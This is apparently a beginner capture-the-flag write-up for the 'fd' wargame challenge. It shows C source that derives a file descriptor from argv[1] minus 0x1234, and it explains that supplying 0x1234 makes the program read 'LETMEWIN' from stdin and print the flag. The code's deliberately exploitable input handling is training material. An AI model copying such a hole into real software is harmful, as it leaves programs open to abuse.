fd
{"author": ["ret2basic"]}
Mommy! what is a file descriptor in Linux?
- try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link: https://youtu.be/971eZhMHQQw
ssh [email protected] -p2222 (pw:guest)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
Take a look at this portion of the code:
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
From man7.org:
read() syscall
In Linux, the default file descriptors are:
- stdin (standard input) => 0
- stdout (standard output) => 1
- stderr (standard error) => 2
We are able to control the value of
fd. The desirable value is fd = 0 since it will open a stdin session. We can send information through stdin and that information will be stored in buf. The idea is clear:- 1.Set
argv[1] = 0x1234so thatfd = 0. - 2.Send "LETMEWIN" through stdin.
